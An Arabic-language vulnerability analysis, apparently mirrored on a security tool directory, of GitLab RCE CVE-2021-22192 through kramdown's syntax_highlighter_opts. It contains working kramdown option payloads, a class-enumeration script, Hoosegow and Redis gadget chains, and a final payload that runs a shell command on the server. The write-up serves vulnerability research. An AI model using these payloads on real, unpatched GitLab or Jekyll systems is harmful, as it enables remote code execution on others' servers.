Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/petrusviet/gitlab-rce
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويبالأوراق والأبحاثالتعلم والتعليم
GitHubpetrusviet/gitlab-rce

Gitlab-RCE

CVE-2021-22192

عرض المستودع
1233منذ 5 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

تحليل ثغرة RCE في GitLab (CVE-2021–22192)

I) البناء

  • تحدث هذه الثغرة في GitLab Community Edition (CE) و Enterprise Edition (EE) في الإصدارات (>=13.2, <13.7.9), (>=13.8, <13.8.6) و (>=13.9, <13.9.4)
  • يمكنكم اتباع إرشادات lyy289065406 لبناء البيئة.

II) التحليل

عندما بدأت في تحليل هذه الثغرة، لم يكن لدي سوى بعض المعلومات القيمة من lyy289065406 التي ساعدتني في فهم المشكلة الجوهرية في هذا الخلل. نلاحظ أن المشكلة تبدو في الجيم kramdown (<= 2.3.0)، لذا بدأت بالبحث في kramdown أولاً.

1. Kramdown

يمكننا فحص التصحيح الخاص بـ kramdown، ونلاحظ الفرق في الدالة formatter_class في الوحدة Kramdown::Converter::SyntaxHighlighter::Rouge

::Rouge::Formatters.const_get(formatter) تحولت إلى ::Rouge::Formatters.const_get(formatter, false)

الدالة const_get موروثة من صنف Object، ويمكنها الحصول على الثوابت. بل ويمكنها حتى إرجاع الأصناف المُعلنة مسبقًا التي يمكنها العثور عليها. الفرق هنا هو إضافة معامل false. إضافة المعامل false تجعل const_get لا تستطيع الحصول على الثوابت من الصنف الأب أو الوحدات. الأمر الأكثر خصوصية: في الدالة self.call يتم استدعاء الدالة formatter_class ثم يتم استدعاء new(opts). هذا يعني أن الميثود التي تم الحصول عليها عبر const_get سيتم استدعاء Constructor الخاص بها لتهيئتها.

root@kitploit:~
def self.call(converter, text, lang, type, call_opts)
      opts = options(converter, type)
      call_opts[:default_lang] = opts[:default_lang]
      return nil unless lang || opts[:default_lang] || opts[:guess_lang]

      lexer = ::Rouge::Lexer.find_fancy(lang || opts[:default_lang], text)
      return nil if opts[:disable] || !lexer || (lexer.tag == "plaintext" && !opts[:guess_lang])

      opts[:css_class] ||= 'highlight' # For backward compatibility when using Rouge 2.0
      formatter = formatter_class(opts).new(opts)
      formatter.format(lexer.lex(text))
    end

واو، واو. إذن كيف يمكن استغلالها؟

بناءً على Kramdown:Options يمكننا استدعاء الدالة Kramdown::Converter::SyntaxHighlighter::Rouge.call

root@kitploit:~
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}

بالإضافة إلى ذلك، نلاحظ في الوحدة Kramdown:Options أن الدالة simple_hash_validator استدعت YAML.safe_load(val). إذن يمكننا أيضًا تكوين ملف YML لإيصال الحمولة المطلوبة إلى Kramdown::Converter::SyntaxHighlighter::Rouge

root@kitploit:~
def self.simple_hash_validator(val, name)
      if String === val
        begin
          val = YAML.safe_load(val)
        rescue RuntimeError, ArgumentError, SyntaxError
          raise Kramdown::Error, "Invalid YAML value for option #{name}"
        end
      end
      raise Kramdown::Error, "Invalid type #{val.class} for option #{name}" unless Hash === val
      val
    end
  • يتم استخدام Kramdown بواسطة Jekyll و GitLab Pages و GitHub Pages و Thredd Forum. لذلك قررت تجربته مع Jekyll أولاً.

2. Jekyll

أولاً، أحتاج إلى بناء Jekyll:

  • تثبيت Jekyll
root@kitploit:~
gem install jekyll
  • إنشاء صفحة Jekyll باسم jekyllTest
root@kitploit:~
jekyll new jekyllTest
  • تعديل ملف Gemfile.lock لجعل إصدار kramdown <= 2.3.0
root@kitploit:~
cd jekyllTest

ملف Gemfile.lock

root@kitploit:~

...
kramdown (2.3.0)
...

  • تثبيت الصفحة
root@kitploit:~
 bundle install

بهذا نكون قد أكملنا إنشاء صفحة Jekyll. الآن يمكننا إدخال الحمولة لنرى ما إذا كانت Kramdown::Converter::SyntaxHighlighter::Rouge.call ستستدعي بالفعل ميثود ما أم لا.

يمكننا الإضافة إلى ملف ./_config.yml

root@kitploit:~
kramdown:
  syntax_highlighter: rouge
  syntax_highlighter_opts:
    formatter: CSV

أو استخدام مستند kramdown بإضافة الحمولة إلى ./_posts/*.markdown

root@kitploit:~
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}

~~~ ruby
def what?
  42
end
~~~

هنا أستخدم الطريقة الثانية =)))))

  • نقوم بنشر صفحة Jekyll
root@kitploit:~
bundle exec jekyll serve

قد تواجه خطأ "require': cannot load such file -- webrick (LoadError)" تحتاج لإضافة gem "webrick" إلى Gemfile

  • نرى رسالة الخطأ private method 'format' called for #<CSV io_type:Hash encoding:UTF-8 lineno:0 col_sep: مما يثبت أن صنف CSV قد تم استدعاؤه.

الخطوة التالية هي تحديد الميثود التي سنختارها بحيث يؤدي استدعاء الـ constructor إلى حدوث RCE؟

وفقًا لمقالة تحليل CVE-2020-10518 التي تستخدم خللًا في kramdown لإحداث RCE على Github. أستهدف صنف Hoosegow:

  • نلاحظ في دالة initialize لـ Hoosegow أنها تستدعي load_inmate_methods
root@kitploit:~
def initialize(options = {})
    options         = options.dup
    @no_proxy       = options.delete(:no_proxy)
    @inmate_dir     = options.delete(:inmate_dir) || '/hoosegow/inmate'
    @image_name     = options.delete(:image_name)
    @ruby_version   = options.delete(:ruby_version) || RUBY_VERSION
    @docker_options = options
    load_inmate_methods
  • في load_inmate_methods نرى أنها تستدعي require inmate_file
root@kitploit:~
 def load_inmate_methods
    inmate_file = File.join @inmate_dir, 'inmate.rb'

    unless File.exist?(inmate_file)
      raise Hoosegow::InmateImportError, "inmate file doesn't exist"
    end

    require inmate_file

    unless Hoosegow.const_defined?(:Inmate) && Hoosegow::Inmate.is_a?(Module)
      raise Hoosegow::InmateImportError,
        "inmate file doesn't define Hoosegow::Inmate"
    end

    if no_proxy?
      self.extend Hoosegow::Inmate
    else
      inmate_methods = Hoosegow::Inmate.instance_methods
      inmate_methods.each do |name|
        define_singleton_method name do |*args, &block|
          proxy_send name, args, &block
        end
      end
    end
  end
  • و inmate_file يتم إنشاؤه بجمع السلسلة @inmate_dir مع 'inmate.rb'. إذا استطعنا استدعاء هذا الصنف وتعديل المعامل inmate_dir ليصبح مسارًا لملف الحمولة الخاص بنا، ألن يحدث RCE هنا؟

  • أقوم بتشغيل سكريبت في مسار صفحة Jekyll لفحص الميثودات المعرفة:

root@kitploit:~
require "bundler"
Bundler.require

methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name =~ /\A[[:upper:]][[:alnum:]_]*\z/ }
 
methods.each do |m|
  begin
    puts "trying #{m[:ob]}"
    m[:ob].new({a:1, b:2})
    puts "worked\n\n"
  rescue ArgumentError
      puts "nope\n\n"
  rescue NoMethodError
      puts "nope\n\n"
  rescue => e
      p e
      puts "maybe\n\n"
  end
  • للأسف، لا يوجد صنف باسم Hoosegow، حتى عندما أتجنب تعطل السكريبت في المنتصف بوضع شرط ob.name == "Hoosegow"
root@kitploit:~
require "bundler"
Bundler.require
  
methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name == "Hoosegow"  }

...
  • تبين أن مسار الأصناف لم يُعلن بعد عن صنف Hoosegow، أضفت gem "hoosegow" إلى Gemfile ووجد السكريبت هذا الصنف. [هه هه هه]
  • ثم أحاول استدعاء Hoosegow بواسطة kramdown
root@kitploit:~
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Hoosegow, line_numbers: true\}" /}

~~~ ruby
def what?
  42
end
~~~
  • بوم. لم يحدث شيء، صنف Hoosegow لم يُستدع. =)))))))))
  • علقت هنا.. أسبوع. نعم، ضاع أسبوع بسببه. كنت أدور في حلقة مع السؤال: "لماذا يوجد صنف Hoosegow في bundler، لكن عند استدعائه من تحت Kramdown لا يعمل؟ كان يجب أن يعمل، أليس كذلك؟"

  • فكرت: "إذا كان قد تم التصريح عنه في Gemfile، فهذا يعني أنه موجود في مسار الأصناف. إذا كان البرنامج لا يزال لا يجد 'Hoosegow'، فبالتأكيد لم يتم تحميله بعد... إذاً هل هناك طريقة للتصريح عن الجيم بحيث يتم تحميله عند تشغيل Jekyll قبل معالجة الأجزاء الأخرى في دليل المصدر؟"

  • قرأت وثائق Jekyll ووجدت jekyll_plugins. التصريح في Gemfile بهذه الطريقة غير كافٍ، بل يجب التصريح عن الجيم في group jekyll_plugins ليعمل :( لأنه عند التصريح بجيم داخل jekyll_plugins، يتم تحميله بغض النظر عن أي شيء قبل أن يعالج Jekyll المصادر الأخرى. حتى عند تشغيل Jekyll في الوضع الآمن.

root@kitploit:~
group :jekyll_plugins do
  gem "jekyll-feed", "~> 0.12"
  gem "hoosegow"
end
  • أنشأت ملف inmate.rb في C:/ ثم شغلت الحمولة:
root@kitploit:~
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Hoosegow, inmate_dir: C:/\}" /}

~~~ ruby
def what?
  42
end
~~~
  • تم استدعاء ملف inmate.rb. وهكذا يبدو أننا اقتربنا من نجاح PoC مرة أخرى، أليس كذلك؟

3. GitLab

  • في GitLab توجد ميزة GitLab Page، حيث يمكن نشر صفحة Jekyll. لذا حاولت وضع الحمولة كمشروع صفحة Jekyll (كما في الجزء السابق) ونشره على GitLab.
  • السؤال هو: كيف نرفع ملف inmate.rb إلى خادم GitLab ونعرف مكان ملف inmate.rb الذي رفعناه؟؟
  • هذا بسيط إذا كان لدينا صلاحية إنشاء مشروع ونشره على GitLab. يمكننا رفع ملف inmate.rb في مشروعنا ثم تعديل ملف .gitlab-ci.yml
root@kitploit:~
before_script:
  - pwd
  - gem install bundler
  - bundle install

  • هذا يسمح لنا بمعرفة أين يُخزّن مشروعنا. ومن ثم ننشئ حمولتنا :)

لماذا نملك صلاحية تعديل ملف .gitlab-ci.yml، ومع القدرة على حقن الأوامر، لماذا نضيع وقتًا في كتابة PoC؟ ألسنا نسير في طريق self RCE؟

  • هذا السؤال قفز فورًا عندما عدّلت ملف .gitlab-ci.yml. حاولت تفسير ذلك بطرق مختلفة: "ربما هناك آلية لفحص ملفات .yml قبل تحميلها؟"،... لكن ذلك لم يُرضني.
  • بحثت في كيفية نشر GitLab لـ GitLab Pages. واكتشفت أنه في كل مرة يُنشر فيها صفحة جديدة أو يُعدّل أي ملف في مشروع الصفحات، يقوم خادم GitLab Runner بتقديم المشروع إلى صفحات ويب ثابتة، ثم يدفعها إلى خادم ويب GitLab. هذا يعني أن هذا الاتجاه الاستغلالي يمكنه فقط السيطرة على خادم Runner على الأكثر. السيطرة على خادم Runner ليست خطيرة جدًا، لأنها تتوقف عند self RCE. هناك شيء لا يبدو صحيحًا.
  • بحثت عن مسار إدخال آخر وهو صفحة الويكي. تسمح صفحة الويكي باستخدام تنسيق kramdown، لذا شككت وجربته هنا، لكن دون نتيجة لأنني وضعت الحمولة فقط في الملف الافتراضي '*.md'، بينما الملف '*.md' محدود في الوظائف الضرورية، لذا تخلّيت عن هذا المسار :(

  • عند هذه النقطة، اضطررت للتوقف والانتظار حتى يُنشر PoC لأتمكن من تخصيص الوقت لأبحاث أخرى.

تم نشر PoC

في يوم جميل، تم نشر PoC. بعد قراءته، شعرت بإحساس قوي بالدجاجة بداخلي ولا كلام.

المشكلة الجوهرية في kramdown كنا قد أصبنا فيها، لكن الطريق إليها في GitLab كان ضعيفًا نوعًا ما =)

  • اكتشف المؤلف أنه عند رفع صفحة ويكي بملف '*.rmd'، يستدعي البرنامج render_wiki_content -> other_markup_unsafe -> GitHub::Markup.render. وبالتالي، سيتم تقديم الملف '*.rmd' باستخدام kramdown.

  • رفع المؤلف ملفه '.rmd' عن طريق استنساخ صفحة الويكي محليًا، ثم استخدام git لدفع صفحة الويكي (مع ملف '.rmd') إلى GitLab.

  • استخدم المؤلف صنف Redis (الموجود مسبقًا في مشروع GitLab، لذا يمكننا استدعاؤه واستخدامه) لتشغيل حمولته.

عند تهيئة صنف Redis، إذا كان هناك خيار driver موجود، فسيستدعي البرنامج الدالة _parse_driver. هناك، يقوم البرنامج بـ require "connection/#{driver}" ويمكننا التأثير على المتغير driver لجعل البرنامج يستدعي ملف الحمولة الذي رفعناه على الخادم.

root@kitploit:~
def _parse_driver(driver)
      driver = driver.to_s if driver.is_a?(Symbol)

      if driver.kind_of?(String)
        begin
          require_relative "connection/#{driver}"
        rescue LoadError, NameError => e
          begin
            require "connection/#{driver}"
          rescue LoadError, NameError => e
            raise RuntimeError, "Cannot load driver #{driver.inspect}: #{e.message}"
          end
        end

        driver = Connection.const_get(driver.capitalize)
      end

      driver
    end
  • باستخدام ميزة إنشاء snippet جديدة، يمكن للمهاجم رفع حمولة Ruby باستخدام Attach a file.
  • في هذا الاستغلال، يحتاج المهاجم إلى العثور على موقع ملف الحمولة الذي تم رفعه. مما دفع المؤلف لاستكشاف اتجاه استغلال آخر:

استخدام الاتجاه من Kramdown لاستدعاء صنف Redis، أولاً استورد المؤلف جيم get_process_mem مع الحمولة

root@kitploit:~
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../get_process_mem\}" /}

~~~ruby
    def what?
      42
    end
~~~

ثم استخدم جيم get_process_mem الذي تم استيراده مسبقًا لتنفيذ RCE

root@kitploit:~
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{a: '`echo inject > /tmp/inject`', formatter: GetProcessMem\}" /}

~~ ruby
    def what?
      42
    end
~~

وبالتالي، دون الحاجة للعثور على عنوان ملف الحمولة، لا يزال بإمكان المهاجم تنفيذ RCE على خادم GitLab.

Ref:

  • https://github.com/lyy289065406/CVE-2021-22192
  • https://blog.csdn.net/smellycat000/article/details/109302520
  • https://hackerone.com/reports/1125425
تنزيل الأداة